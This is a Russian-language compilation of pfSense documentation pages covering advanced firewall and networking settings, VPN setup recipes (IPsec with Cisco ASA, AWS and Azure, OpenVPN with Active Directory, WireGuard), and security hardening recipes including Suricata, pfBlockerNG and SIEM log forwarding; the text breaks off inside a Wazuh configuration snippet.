Параметр **Update Frequency** определяет частоту обновления списков bogon-сетей (зарезервированные и нераспределённые IP-диапазоны). Регулярное обновление важно, так как IANA периодически выделяет новые блоки адресов.

### NAT Reflection

NAT Reflection позволяет внутренним клиентам обращаться к портам, проброшенным через NAT, используя публичный IP-адрес межсетевого экрана.

| Режим | Описание | Ограничения |
|---|---|---|
| Disabled | Port forwards доступны только извне | По умолчанию |
| Pure NAT | Отражение через NAT-правила | Лучшая масштабируемость |
| NAT + Proxy | Отражение через прокси-программу | Ограничение: 500 портов в диапазоне, 1000 портов всего |

Дополнительные параметры отражения:

- **Reflection Timeout** - принудительный таймаут отражённых соединений в режиме NAT + Proxy
- **NAT Reflection for 1:1 NAT** - включает отражение для статических NAT-маппингов
- **Automatic Outbound NAT for Reflection** - создаёт правила исходящего NAT для отражения, когда клиент и сервер находятся в одной подсети

### TFTP Proxy

Встроенный прокси для TFTP-протокола, позволяющий внутренним клиентам подключаться к внешним TFTP-серверам. Для активации необходимо выбрать интерфейсы.

### Таймауты состояний

Раздел State Timeouts позволяет точно настроить протокол-зависимые таймауты (в секундах) для TCP, UDP, ICMP и других протоколов. В большинстве случаев таймаутами управляет режим оптимизации, но ручная настройка может потребоваться для специфических устройств или приложений.

## Сетевой стек (Networking)

Вкладка Networking содержит параметры IPv6, аппаратной разгрузки и журналирования сетевых событий.

### IPv6

| Параметр | Описание |
|---|---|
| Allow IPv6 | Управляет блокировкой IPv6-трафика. Отключение блокирует весь IPv6, но не отключает IPv6-функции в конфигурации |
| IPv6 over IPv4 Tunneling | Перенаправляет трафик протокола 41 (RFC 2893) на указанный IPv4-адрес. Требует правил, разрешающих протокол 41 на WAN |
| Prefer IPv4 over IPv6 | Межсетевой экран предпочитает IPv4 при наличии обоих типов записей в DNS. Влияет на обновления и пакеты, не на клиентов |
| IPv6 DNS Entry | При включении создаются только IPv4-записи DNS для самого межсетевого экрана |

### Аппаратная разгрузка (Hardware Offloading)

Параметры аппаратной разгрузки управляют передачей вычислительных задач сетевому адаптеру. В контексте маршрутизаторов и межсетевых экранов эти функции часто вызывают проблемы.

| Параметр | Действие при включении | Рекомендация |
|---|---|---|
| Hardware Checksum Offloading | Отключает аппаратную проверку контрольных сумм | Включить (отключить offloading) для Realtek и виртуальных адаптеров |
| Hardware TCP Segmentation Offloading | Отключает TSO | Включить (отключить offloading) - TSO нежелателен для маршрутизаторов |
| Hardware Large Receive Offloading | Отключает LRO | Включить (отключить offloading) - LRO снижает производительность маршрутизации |

> **Warning**:
>
> Флажки в этом разделе работают инвертировано: установка флажка **отключает** функцию разгрузки. Это может ввести в заблуждение - внимательно читайте описание каждого параметра.

**Virtual NIC ALTQ Support** - включает поддержку ALTQ для виртуальных сетевых адаптеров гипервизора, что необходимо для работы [шейпера трафика](/docs/pfsense/traffic-shaper/) в виртуализированных средах. Требует перезагрузки.

### Подавление ARP-сообщений

Параметр **Suppress ARP Messages** предотвращает запись в лог сообщений об изменении MAC-адреса для IP-адресов. Полезно в средах с частыми легитимными изменениями привязки (например, при использовании VRRP или миграции виртуальных машин).

## Уведомления (Notifications)

Вкладка Notifications настраивает каналы оповещения о системных событиях.

### Мониторинг сертификатов

| Параметр | Описание |
|---|---|
| Certificate Expiration | Включает уведомления о приближающемся истечении сертификатов |
| Ignore Revoked Certificates | Исключает отозванные сертификаты из CRL-проверок |
| Expiration Threshold | Порог уведомления в днях (по умолчанию 27). Используется меньшее значение из указанного и 1/3 оставшегося срока действия |

### SMTP (электронная почта)

Основные параметры для отправки уведомлений по электронной почте:

| Параметр | Описание |
|---|---|
| E-mail Server | Адрес SMTP-сервера |
| SMTP Port | Порт (25 или 587 для submission) |
| Connection Timeout | Таймаут подключения в секундах |
| Secure SMTP Connection | Прямое SSL/TLS-соединение (не STARTTLS) |
| Validate SSL/TLS | Проверка сертификата SMTP-сервера |
| From / To | Адреса отправителя и получателя (поддерживается несколько через запятую) |
| Auth Username / Password | Учётные данные для аутентифицированного SMTP |
| Auth Mechanism | PLAIN или LOGIN |

После настройки используйте кнопку **Test** для проверки доставки.

### Telegram, Pushover, Slack

pfSense поддерживает отправку уведомлений через мессенджеры и push-сервисы:

| Сервис | Требуемые параметры |
|---|---|
| Telegram | API-ключ бота, Chat ID или username канала |
| Pushover | API-ключ, User Key, приоритет и звук уведомления |
| Slack | API-ключ, имя канала |

Все сервисы поддерживают тестовую отправку для проверки конфигурации.

### Звуковые уведомления

- **Console Bell** - системный динамик подаёт звуковой сигнал при аварийных сообщениях
- **Startup/Shutdown Sound** - звуковое уведомление при запуске и остановке системы

## Прочие параметры (Miscellaneous)

Вкладка Miscellaneous содержит параметры криптографического ускорения, управления питанием, мониторинга шлюзов и RAM-дисков.

### Криптографическое ускорение

| Параметр | Описание |
|---|---|
| IPsec-MB | Программное ускорение AES-CBC, AES-GCM и ChaCha20-Poly1305 для VPN |
| Cryptographic Hardware | Аппаратное ускорение: Intel QAT, BSD Crypto Device, AES-NI или их комбинации |

Выбор метода ускорения зависит от аппаратной платформы. AES-NI доступен на большинстве современных процессоров Intel и AMD и обеспечивает значительное ускорение [IPsec](/docs/pfsense/vpn/) и OpenVPN.

### Термодатчики

| Значение | Описание |
|---|---|
| None/ACPI | Чтение датчиков через стандартный интерфейс ACPI |
| Intel Core | Загружает модуль coretemp для процессоров Intel |
| AMD K8, K10, K11 | Загружает модуль amdtemp для процессоров AMD |

### Управление питанием

**Speed Shift** - аппаратное управление частотой процессора. Процессор самостоятельно изменяет частоту без участия ОС. Параметр Power Preference (0-100) смещает баланс между энергоэффективностью и производительностью.

**PowerD (SpeedStep)** - программное управление частотой процессора:

| Параметр | Описание |
|---|---|
| Enable PowerD | Активирует демон управления частотой |
| AC Power Mode | Режим при питании от сети: Maximum, Minimum, Adaptive, Hiadaptive |
| Battery Power Mode | Режим при питании от батареи |
| Unknown Power Mode | Режим при неопределённом источнике питания |

### Мониторинг шлюзов

Параметры управляют поведением таблицы состояний при сбоях и восстановлении шлюзов:

| Параметр | Описание |
|---|---|
| State Killing on Gateway Recovery | Управляет очисткой состояний при возвращении приоритетного шлюза |
| State Killing on Gateway Failure | Не очищать / очистить для упавших шлюзов / очистить все состояния |
| Skip Rules When Gateway is Down | Пропуск правил с привязкой к недоступному шлюзу |

Параметр **Skip Rules When Gateway is Down** удаляет правила целиком вместо маршрутизации через шлюз по умолчанию. Трафик будет обработан следующим совпадающим правилом.

### RAM-диски

Использование RAM-дисков для `/tmp` и `/var` снижает износ SSD/CF-карт и ускоряет операции ввода-вывода:

| Параметр | Описание | По умолчанию |
|---|---|---|
| Use RAM Disks | Включает RAM-диски (требует перезагрузки) | Отключено |
| /tmp Size | Размер RAM-диска для /tmp | 40 МБ |
| /var Size | Размер RAM-диска для /var | 60 МБ |

Рекомендуемый размер `/var` для production-систем: 512-1024 МБ.

**Периодические резервные копии** - интервал (в часах) между сохранениями данных RAM-дисков на постоянное хранилище:

| Данные | Описание |
|---|---|
| RRD Data | Базы данных графиков |
| DHCP Leases | Таблицы аренды DHCP |
| Log Directory | Системные логи |
| Captive Portal Data | Данные портала авторизации |

### Прочие параметры

| Параметр | Описание |
|---|---|
| Proxy Support | Настройки прокси-сервера для исходящих соединений (URL, порт, аутентификация) |
| Load Balancing | Sticky Connections и Source Tracking Timeout для сохранения привязки сессий |
| Watchdog | Аппаратный watchdog-таймер для автоматической перезагрузки при зависании |
| Kernel PTI / MDS Mitigation | Защита от уязвимостей Spectre/Meltdown (влияет на производительность) |
| PHP Memory Limit | Ограничение памяти для процессов GUI |
| Hard Disk Standby | Время простоя (минуты) до перевода диска в режим энергосбережения |

## Порядок настройки

Рекомендуемая последовательность настройки расширенных параметров после завершения [общей конфигурации](/docs/pfsense/configuration/pfsense-general-settings/):

1. Настройте протокол и порт веб-интерфейса (Admin Access)
2. Включите и сконфигурируйте SSH при необходимости
3. Проверьте параметры аппаратной разгрузки (особенно в виртуальных средах)
4. Настройте каналы уведомлений
5. Оптимизируйте параметры межсетевого экрана под нагрузку

Для управления через физическую или последовательную консоль перейдите к разделу [консольный доступ](/docs/pfsense/configuration/pfsense-console-access/).


---

# Рецепты VPN для pfSense - IPsec, OpenVPN, WireGuard

Source: https://opennix.org/docs/pfsense/recipes/pfsense-vpn-recipes/


В этом разделе собраны рецепты настройки VPN-подключений в pfSense для различных сценариев: межсайтовые туннели IPsec с оборудованием разных производителей, интеграция OpenVPN с корпоративными каталогами, развертывание WireGuard для мобильных пользователей и обеспечение отказоустойчивости VPN-каналов.

Перед настройкой VPN рекомендуется создать резервную копию конфигурации: **Diagnostics - Backup & Restore**. Общие сведения о VPN-подключениях описаны в разделе [VPN pfSense](/docs/pfsense/vpn/).

## IPsec Site-to-Site между pfSense и Cisco ASA

IPsec-туннель между pfSense и Cisco ASA позволяет объединить офисные сети через зашифрованный канал. Критически важно согласовать параметры Phase 1 и Phase 2 на обеих сторонах.

### Пошаговая настройка

1. Определите параметры обеих сторон:
   - pfSense WAN IP: например, 203.0.113.1
   - Cisco ASA WAN IP: например, 198.51.100.1
   - pfSense LAN: 192.168.1.0/24
   - Cisco ASA LAN: 10.0.1.0/24

2. На pfSense перейдите в **VPN - IPsec - Tunnels** и нажмите **Add P1**

3. Настройте Phase 1:
   - **Key Exchange Version** - IKEv2
   - **Remote Gateway** - 198.51.100.1
   - **Authentication Method** - Mutual PSK
   - **Pre-Shared Key** - сгенерируйте надежный ключ (минимум 32 символа)
   - **Encryption Algorithm** - AES 256-GCM, 128 bits
   - **Hash Algorithm** - SHA256
   - **DH Group** - 14 (2048 bit)
   - **Lifetime** - 28800

4. Нажмите **Save**, затем нажмите **Show Phase 2 Entries** и добавьте Phase 2:
   - **Mode** - Tunnel IPv4
   - **Local Network** - LAN subnet (192.168.1.0/24)
   - **Remote Network** - 10.0.1.0/24
   - **Encryption Algorithm** - AES 256-GCM, 128 bits
   - **Hash Algorithm** - SHA256
   - **PFS Key Group** - 14 (2048 bit)
   - **Lifetime** - 3600

5. На Cisco ASA настройте зеркальные параметры:

```
crypto ikev2 policy 10
 encryption aes-gcm-256
 integrity sha256
 group 14
 lifetime 28800

crypto ikev2 enable outside

tunnel-group 203.0.113.1 type ipsec-l2l
tunnel-group 203.0.113.1 ipsec-attributes
 ikev2 local-authentication pre-shared-key <ключ>
 ikev2 remote-authentication pre-shared-key <ключ>

access-list VPN_TRAFFIC extended permit ip 10.0.1.0 255.255.255.0 192.168.1.0 255.255.255.0

crypto ipsec ikev2 ipsec-proposal AES256-GCM
 protocol esp encryption aes-gcm-256

crypto map VPN_MAP 10 match address VPN_TRAFFIC
crypto map VPN_MAP 10 set peer 203.0.113.1
crypto map VPN_MAP 10 set ikev2 ipsec-proposal AES256-GCM
crypto map VPN_MAP interface outside
```

6. На pfSense перейдите в **Firewall - Rules - IPsec** и создайте правило:

```
Action: Pass
Interface: IPsec
Source: 10.0.1.0/24
Destination: LAN net
```

7. Включите туннель: **Status - IPsec - Overview**, нажмите **Connect P1 and P2**

8. Проверьте состояние в **Status - IPsec - SPD** и протестируйте связность ping между подсетями

> **Важно**: параметры шифрования, хеширования, DH-группы и lifetime должны совпадать на обеих сторонах. Несовпадение любого параметра приведет к сбою установления туннеля.

## IPsec Site-to-Site между pfSense и AWS VPN Gateway

AWS VPN Gateway поддерживает IPsec-туннели с внешними устройствами. AWS предоставляет два туннеля для обеспечения отказоустойчивости. Рекомендуется настроить оба.

### Пошаговая настройка

1. В консоли AWS создайте Customer Gateway:
   - **BGP ASN** - 65000 (или ваш ASN)
   - **IP Address** - публичный IP pfSense WAN
   - **Routing** - Static

2. Создайте Virtual Private Gateway и присоедините к VPC

3. Создайте Site-to-Site VPN Connection:
   - **Customer Gateway** - выберите созданный
   - **Virtual Private Gateway** - выберите созданный
   - **Routing Options** - Static
   - **Static IP Prefixes** - подсеть LAN pfSense (192.168.1.0/24)

4. Скачайте конфигурацию VPN: выберите **Vendor: Generic** для получения параметров

5. На pfSense перейдите в **VPN - IPsec - Tunnels** и создайте Phase 1 для первого туннеля:
   - **Key Exchange Version** - IKEv1 (AWS по умолчанию использует IKEv1)
   - **Remote Gateway** - IP первого AWS туннеля (из скачанной конфигурации)
   - **Authentication Method** - Mutual PSK
   - **Pre-Shared Key** - из конфигурации AWS
   - **Encryption Algorithm** - AES 256
   - **Hash Algorithm** - SHA256
   - **DH Group** - 2 (AWS default)
   - **Lifetime** - 28800

6. Добавьте Phase 2:
   - **Local Network** - LAN subnet
   - **Remote Network** - VPC CIDR (например, 10.0.0.0/16)
   - **Encryption Algorithm** - AES 256
   - **Hash Algorithm** - SHA256
   - **PFS Key Group** - 2
   - **Lifetime** - 3600

7. Повторите шаги 5-6 для второго AWS-туннеля (с другим Remote Gateway и PSK)

8. Перейдите в **System - Routing - Gateways** и добавьте шлюзы для обоих туннелей

9. Настройте [правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) на интерфейсе IPsec для разрешения трафика из VPC

10. В консоли AWS проверьте статус туннелей в разделе VPN Connections - Tunnel Details

> **Важно**: AWS использует DH Group 2 по умолчанию. Убедитесь, что параметры Phase 1 и Phase 2 точно соответствуют скачанной конфигурации. DPD (Dead Peer Detection) должен быть включен на pfSense.

## IPsec Site-to-Site между pfSense и Azure VPN Gateway

Azure VPN Gateway поддерживает IKEv2 с расширенными параметрами шифрования. Подключение pfSense к Azure Virtual Network Gateway требует согласования пользовательских IPsec-политик.

### Пошаговая настройка

1. В портале Azure создайте Virtual Network Gateway:
   - **Gateway type** - VPN
   - **VPN type** - Route-based
   - **SKU** - VpnGw1 или выше
   - **Virtual network** - выберите целевую VNet

2. Создайте Local Network Gateway:
   - **IP address** - публичный IP pfSense WAN
   - **Address space** - подсеть LAN pfSense (192.168.1.0/24)

3. Создайте Connection:
   - **Connection type** - Site-to-site (IPsec)
   - **Virtual network gateway** - созданный шлюз
   - **Local network gateway** - созданный LNG
   - **Shared key** - сгенерируйте надежный ключ

4. Настройте IPsec/IKE Policy на Azure connection (Custom):
   - **IKE Phase 1**: AES256, SHA256, DHGroup14
   - **IPsec Phase 2**: GCMAES256, GCMAES256, PFS2048
   - **SA Lifetime**: 27000 секунд

5. На pfSense перейдите в **VPN - IPsec - Tunnels** и создайте Phase 1:
   - **Key Exchange Version** - IKEv2
   - **Remote Gateway** - публичный IP Azure VPN Gateway
   - **Pre-Shared Key** - ключ из Azure connection
   - **Encryption Algorithm** - AES 256
   - **Hash Algorithm** - SHA256
   - **DH Group** - 14 (2048 bit)
   - **Lifetime** - 27000

6. Добавьте Phase 2:
   - **Local Network** - LAN subnet
   - **Remote Network** - Azure VNet CIDR (например, 10.1.0.0/16)
   - **Encryption Algorithm** - AES 256-GCM, 128 bits
   - **PFS Key Group** - 14
   - **Lifetime** - 3600

7. Включите **Dead Peer Detection**: Threshold 10, Retry 3

8. Создайте правила файрвола на IPsec для разрешения трафика из Azure VNet

9. Проверьте состояние в **Status - IPsec** на pfSense и в Azure Portal - Connection Status

Дополнительные сведения о настройке интерфейсов описаны в разделе [интерфейсы pfSense](/docs/pfsense/interfaces/).

## OpenVPN с аутентификацией Active Directory

Интеграция OpenVPN с Active Directory позволяет использовать корпоративные учетные данные для аутентификации VPN-пользователей. pfSense поддерживает аутентификацию через LDAP-сервер AD.

### Пошаговая настройка

1. Перейдите в **System - User Manager - Authentication Servers** и добавьте LDAP-сервер:
   - **Type** - LDAP
   - **Hostname or IP address** - IP-адрес контроллера домена
   - **Port** - 636 (LDAPS) или 389 (LDAP)
   - **Transport** - SSL/TLS (рекомендуется)
   - **Peer Certificate Authority** - CA сертификат домена (импортируйте заранее)
   - **Protocol version** - 3
   - **Search scope** - Entire Subtree
   - **Base DN** - DC=corp,DC=example,DC=com
   - **Authentication Containers** - OU=Users,DC=corp,DC=example,DC=com
   - **Extended Query** - включите и укажите: `memberOf=CN=VPN_Users,OU=Groups,DC=corp,DC=example,DC=com`
   - **Bind Credentials** - DN и пароль сервисной учетной записи AD

2. Проверьте подключение кнопкой **Select a container** - если контейнеры отображаются, LDAP работает

3. Перейдите в **System - User Manager - Settings** и установите **Authentication Server** на созданный LDAP-сервер

4. Перейдите в **VPN - OpenVPN - Servers** и создайте сервер:
   - **Server mode** - Remote Access (SSL/TLS + User Auth)
   - **Backend for authentication** - выберите LDAP-сервер AD
   - **Protocol** - UDP on IPv4 only
   - **Local port** - 1194
   - **TLS Configuration** - включите TLS Key
   - **Peer Certificate Authority** - внутренний CA pfSense
   - **Server certificate** - сертификат OpenVPN-сервера
   - **Encryption Algorithm** - AES-256-GCM
   - **Auth digest algorithm** - SHA256
   - **IPv4 Tunnel Network** - 10.0.8.0/24
   - **IPv4 Local Network** - 192.168.1.0/24

5. Перейдите в **Firewall - Rules - WAN** и создайте правило:

```
Action: Pass
Protocol: UDP
Destination port: 1194
```

6. Перейдите в **Firewall - Rules - OpenVPN** и разрешите трафик VPN-клиентов в LAN

7. Установите пакет **OpenVPN Client Export**: System - Package Manager - openvpn-client-export

8. Экспортируйте конфигурации для клиентов: **VPN - OpenVPN - Client Export**

> **Важно**: сервисная учетная запись для LDAP-привязки должна иметь минимальные привилегии (только чтение). Используйте LDAPS (порт 636) для шифрования LDAP-трафика.

## WireGuard для мобильных устройств с QR-кодами

WireGuard обеспечивает высокопроизводительное VPN-подключение с минимальными накладными расходами. Генерация QR-кодов упрощает настройку на мобильных устройствах.

### Пошаговая настройка

1. Установите пакет WireGuard: **System - Package Manager - Available Packages - WireGuard**

2. Перейдите в **VPN - WireGuard - Settings** и включите WireGuard

3. Перейдите в **VPN - WireGuard - Tunnels** и создайте туннель:
   - **Description** - WAN WireGuard
   - **Listen Port** - 51820
   - **Interface Keys** - нажмите **Generate** для создания пары ключей
   - Сохраните публичный ключ сервера

4. Перейдите в **VPN - WireGuard - Peers** и добавьте пир для каждого мобильного устройства:
   - **Tunnel** - выберите созданный туннель
   - **Description** - имя устройства (например, iPhone-Admin)
   - **Public Key** - публичный ключ клиента (сгенерируйте на клиенте или через pfSense)
   - **Allowed IPs** - уникальный IP клиента (например, 10.0.9.2/32)
   - **Pre-shared Key** - сгенерируйте для дополнительной безопасности (опционально)

5. Назначьте интерфейс туннелю: **Interfaces - Assign** - выберите tun_wg0 и включите

6. Назначьте IP-адрес интерфейсу WireGuard: 10.0.9.1/24

7. Создайте правила файрвола:
   - На WAN: разрешите UDP 51820
   - На интерфейсе WireGuard: разрешите трафик из 10.0.9.0/24

8. Сгенерируйте конфигурацию клиента:

```ini
[Interface]
PrivateKey = <приватный_ключ_клиента>
Address = 10.0.9.2/32
DNS = 10.0.9.1

[Peer]
PublicKey = <публичный_ключ_сервера>
Endpoint = 203.0.113.1:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 25
```

9. Сгенерируйте QR-код из конфигурации. На машине с установленным `qrencode`:

```bash
qrencode -t ansiutf8 < client-wg.conf
```

Или используйте онлайн-генератор QR на локальной машине (не передавайте конфигурацию на внешние сервисы).

10. Откройте приложение WireGuard на мобильном устройстве, нажмите **+** и отсканируйте QR-код

Подробности настройки WireGuard описаны в разделе [VPN pfSense](/docs/pfsense/vpn/).

## Multi-WAN с отказоустойчивостью OpenVPN

При наличии нескольких WAN-каналов можно настроить автоматическое переключение OpenVPN-туннеля на резервный канал при сбое основного.

### Пошаговая настройка

1. Убедитесь, что [Multi-WAN](/docs/pfsense/multi-wan/) настроен и оба шлюза работают

2. Перейдите в **System - Routing - Gateway Groups** и создайте группу:
   - **Group Name** - VPN_Failover
   - **Gateway Priority**:
     - WAN_GW - Tier 1
     - WAN2_GW - Tier 2
   - **Trigger Level** - Packet Loss or High Latency

3. Перейдите в **VPN - OpenVPN - Servers**

4. В настройках OpenVPN-сервера:
   - **Interface** - выберите группу шлюзов VPN_Failover (или оставьте любой и настройте через outbound NAT)

5. Настройте **Firewall - NAT - Outbound**:
   - Переключите на **Hybrid Outbound NAT**
   - Создайте правило для OpenVPN-подсети через каждый WAN-интерфейс

6. Настройте правила файрвола на обоих WAN-интерфейсах для разрешения OpenVPN (UDP 1194)

7. На клиентской стороне добавьте в конфигурацию OpenVPN оба адреса сервера:

```
remote 203.0.113.1 1194 udp
remote 198.51.100.1 1194 udp
```

8. Протестируйте переключение: отключите основной WAN и убедитесь, что клиенты переподключаются через резервный канал

> **Важно**: при переключении WAN существующие OpenVPN-сессии разрываются. Клиенты должны быть настроены на автоматическое переподключение. Параметр `resolv-retry infinite` в конфигурации клиента обеспечивает повторные попытки подключения.

## VPN со Split DNS

Split DNS разделяет разрешение DNS-имен: корпоративные домены разрешаются через внутренний сервер через VPN, остальные запросы используют публичные DNS. Подробный рецепт настройки Split DNS описан в разделе [популярных рецептов конфигурации](/docs/pfsense/recipes/pfsense-common-recipes/#vpn-s-split-dns).

### Расширенная конфигурация с несколькими доменами

1. Настройте базовый OpenVPN-сервер согласно инструкции из общих рецептов

2. Перейдите в **Services - DNS Resolver** и добавьте несколько Domain Override:
   - **corp.example.com** - 10.0.1.10 (основной AD)
   - **dev.example.com** - 10.0.2.10 (среда разработки)
   - **staging.example.com** - 10.0.3.10 (staging-среда)

3. В настройках OpenVPN-сервера добавьте **Advanced Configuration**:

```
push "dhcp-option DOMAIN corp.example.com"
push "dhcp-option DOMAIN dev.example.com"
push "dhcp-option DOMAIN staging.example.com"
push "dhcp-option DNS 10.0.9.1"
```

4. Добавьте маршруты ко всем внутренним подсетям:
   - **IPv4 Local Network** - 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24

5. Убедитесь, что на pfSense DNS Resolver слушает интерфейс OpenVPN-туннеля

6. Протестируйте разрешение корпоративных доменов через VPN-подключение с помощью `nslookup` или `dig`

Для устранения неполадок VPN-подключений обратитесь к [руководству по диагностике](/docs/pfsense/troubleshooting/pfsense-general-troubleshooting/).


---

# Рецепты безопасности pfSense - харденинг и IDS

Source: https://opennix.org/docs/pfsense/recipes/pfsense-security-recipes/


В этом разделе собраны рецепты повышения безопасности pfSense: от базового харденинга и двухфакторной аутентификации до развертывания IDS/IPS, автоматической блокировки угроз и обеспечения соответствия стандартам PCI DSS и CIS.

Перед выполнением рецептов создайте резервную копию конфигурации: **Diagnostics - Backup & Restore**. Основные сведения о правилах файрвола описаны в разделе [правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/).

## Харденинг pfSense

Базовое укрепление pfSense включает отключение неиспользуемых сервисов, переход на SSH-ключи, принудительное использование HTTPS и ограничение поверхности атаки.

### Пошаговая настройка

1. **Обновите pfSense до актуальной версии**: System - Update

2. **Настройте HTTPS-доступ к веб-интерфейсу**:
   - Перейдите в **System - Advanced - Admin Access**
   - **Protocol** - HTTPS
   - **SSL/TLS Certificate** - используйте сертификат, выпущенный внутренним CA (не самоподписанный по умолчанию)
   - **TCP Port** - измените порт по умолчанию (например, 8443)
   - **WebGUI Login Autocomplete** - отключить
   - **Login page color** - измените цвет (визуальная индикация production-среды)

3. **Настройте SSH**:
   - **Secure Shell Server** - включите SSH только при необходимости
   - **SSHd Key Only** - Public Key Only (отключает аутентификацию по паролю)
   - **SSH Port** - измените стандартный порт 22
   - Добавьте публичные ключи администраторов: **System - User Manager** - редактирование пользователя - **Authorized SSH Keys**

4. **Отключите неиспользуемые сервисы**:
   - Проверьте **Status - Services** и остановите ненужные
   - Отключите UPnP: **Services - UPnP & NAT-PMP** - снимите флаг Enable
   - Отключите SNMP если не используется: **Services - SNMP**

5. **Защитите консольный доступ**:
   - **System - Advanced - Admin Access** - **Console Options**
   - **Password protect the console menu** - включить

6. **Настройте блокировку при неудачных попытках входа**:
   - **System - Advanced - Login Protection**
   - **Threshold** - 5 попыток
   - **Blocktime** - 1800 секунд (30 минут)
   - **Detection time** - 300 секунд (5 минут)

7. **Отключите DNS Rebinding Check при необходимости или оставьте включенным**:
   - **System - Advanced - Admin Access** - DNS Rebind Check включен по умолчанию

8. **Настройте NTP**:
   - **Services - NTP - Settings**
   - Укажите надежные NTP-серверы (pool.ntp.org)
   - Привяжите NTP к внутренним интерфейсам

## Двухфакторная аутентификация с Google Authenticator

TOTP-аутентификация через Google Authenticator добавляет второй фактор при входе в веб-интерфейс и VPN. Для реализации используется пакет FreeRADIUS с модулем TOTP.

### Пошаговая настройка

1. Установите пакет FreeRADIUS: **System - Package Manager - Available Packages - freeradius3**

2. Перейдите в **Services - FreeRADIUS - Interfaces**:
   - Добавьте интерфейс:
     - **Interface IP** - 127.0.0.1
     - **Port** - 1812
     - **Interface Type** - Authentication

3. Перейдите в **Services - FreeRADIUS - NAS/Clients**:
   - Добавьте клиента:
     - **Client IP** - 127.0.0.1
     - **Shared Secret** - сгенерируйте надежный секрет

4. Перейдите в **Services - FreeRADIUS - Users** и добавьте пользователя:
   - **Username** - имя пользователя
   - **Password** - пароль
   - **One-Time Password Configuration** - Enable
   - **OTP Auth Method** - Google Authenticator
   - **Init-Secret** - сгенерируется автоматически
   - **PIN** - числовой PIN (вводится перед TOTP-кодом)
   - Запишите или отсканируйте QR-код для настройки Google Authenticator

5. Перейдите в **System - User Manager - Authentication Servers** и добавьте RADIUS:
   - **Type** - RADIUS
   - **Hostname or IP** - 127.0.0.1
   - **Shared Secret** - секрет из шага 3
   - **Authentication Port** - 1812

6. Для защиты веб-интерфейса:
   - **System - User Manager - Settings**
   - **Authentication Server** - выберите RADIUS-сервер

7. Для VPN: в настройках OpenVPN-сервера выберите RADIUS как **Backend for authentication**

8. При входе пользователь вводит: `PIN + TOTP-код` в поле пароля (например, 1234567890 где 1234 - PIN, 567890 - TOTP)

## IDS/IPS с Suricata в Inline-режиме

Suricata в inline-режиме не только обнаруживает, но и блокирует вредоносный трафик в реальном времени. В отличие от пассивного режима IDS, inline (IPS) активно предотвращает атаки.

### Пошаговая настройка

1. Установите Suricata: **System - Package Manager - Available Packages - suricata**

2. Перейдите в **Services - Suricata - Global Settings**:
   - **Install ETOpen Emerging Threats rules** - включить
   - **Install Snort rules** - включить (требуется Oink Code с snort.org)
   - **Update Interval** - 12 hours
   - **Remove Blocked Hosts Interval** - 1 hour
   - **Log to System Log** - включить

3. Нажмите **Update** для загрузки наборов правил

4. Перейдите в **Services - Suricata - Interfaces** и добавьте интерфейс:
   - **Interface** - WAN
   - **Enable** - включить
   - **IPS Mode** - включить (Inline mode)
   - **Block Offenders** - включить
   - **Kill States** - включить
   - **Block Duration** - 3600 (1 час)

5. Перейдите во вкладку **WAN Categories** и выберите наборы правил:
   - **ET Open Rules** - включите категории: emerging-attack_response, emerging-exploit, emerging-malware, emerging-scan, emerging-trojan
   - Отключите категории с высоким уровнем ложных срабатываний (emerging-info, emerging-games)

6. Перейдите во вкладку **WAN Rules** для тонкой настройки отдельных правил

7. Добавьте WAN-интерфейс для мониторинга входящего трафика и LAN для мониторинга исходящего

8. Перейдите в **Services - Suricata - Logs** для просмотра событий

9. Настройте подавление ложных срабатываний: **WAN - SID Mgmt** - добавьте SID правил в Suppress List

> **Важно**: первоначально рекомендуется запустить Suricata в режиме IDS (без блокировки) для выявления ложных срабатываний. После настройки Suppress List переключите в IPS-режим. Подробнее о зеркалировании трафика для IDS описано в [сетевых рецептах](/docs/pfsense/recipes/pfsense-network-recipes/).

## Автоматическая блокировка IP с pfBlockerNG

pfBlockerNG автоматически обновляет списки известных угроз и блокирует трафик с вредоносных IP-адресов. Поддерживает множество источников threat intelligence.

### Пошаговая настройка

1. Установите пакет: **System - Package Manager - Available Packages - pfBlockerNG-devel**

2. Перейдите в **Firewall - pfBlockerNG - General**:
   - **Enable pfBlockerNG** - включить
   - **Keep Settings** - включить
   - **CRON Settings** - Every hour

3. Перейдите в **Firewall - pfBlockerNG - IP**:
   - Вкладка **IPv4** - добавьте фиды:

| Название | URL | Действие |
|---|---|---|
| Spamhaus DROP | https://www.spamhaus.org/drop/drop.txt | Deny Inbound |
| Spamhaus EDROP | https://www.spamhaus.org/drop/edrop.txt | Deny Inbound |
| DShield Block | https://feeds.dshield.org/block.txt | Deny Inbound |
| Emerging Threats | https://rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt | Deny Both |
| Abuse.ch Feodo | https://feodotracker.abuse.ch/downloads/ipblocklist.txt | Deny Both |

4. Для каждого фида настройте:
   - **Action** - Deny Inbound (блокировка входящего) или Deny Both (входящий и исходящий)
   - **Update Frequency** - Every 1 hour

5. Перейдите в **Firewall - pfBlockerNG - Update** и нажмите **Run**

6. Проверьте созданные [алиасы](/docs/pfsense/firewall/pfsense-firewall-aliases/) и правила: **Firewall - Rules - pfBlockerNG**

7. Мониторинг блокировок: **Firewall - pfBlockerNG - Reports**

8. Для добавления пользовательских списков: создайте текстовый файл с IP/CIDR и укажите URL

## Отправка логов в SIEM

Централизованный сбор логов pfSense в SIEM-системе (Wazuh, ELK, Graylog) обеспечивает корреляцию событий, долгосрочное хранение и анализ инцидентов безопасности.

### Пошаговая настройка для Syslog

1. Перейдите в **Status - System Logs - Settings**:
   - **Log Message Format** - syslog (RFC 5424) или BSD (RFC 3164) в зависимости от SIEM
   - **Enable Remote Logging** - включить
   - **Source Address** - LAN интерфейс
   - **IP Protocol** - IPv4
   - **Remote Log Servers** - IP:port SIEM-сервера (например, 192.168.1.100:514)
   - **Remote Syslog Contents** - выберите типы логов:
     - System Events
     - Firewall Events
     - DNS Events
     - DHCP Events
     - Authentication Events
     - VPN Events
     - Gateway Monitor Events

2. Для передачи через TLS (рекомендуется):
   - Установите пакет **syslog-ng** через Package Manager
   - Настройте TLS-транспорт в конфигурации syslog-ng

### Настройка для Wazuh

1. Установите Wazuh Agent на pfSense (FreeBSD-версия):

```bash
pkg install wazuh-agent
```

2. Настройте `/var/ossec/etc/ossec.conf`:

```xml
<ossec_config>
  <client>
    <server>
      <address>192.168.1.100</address>
      <port>1514</port>
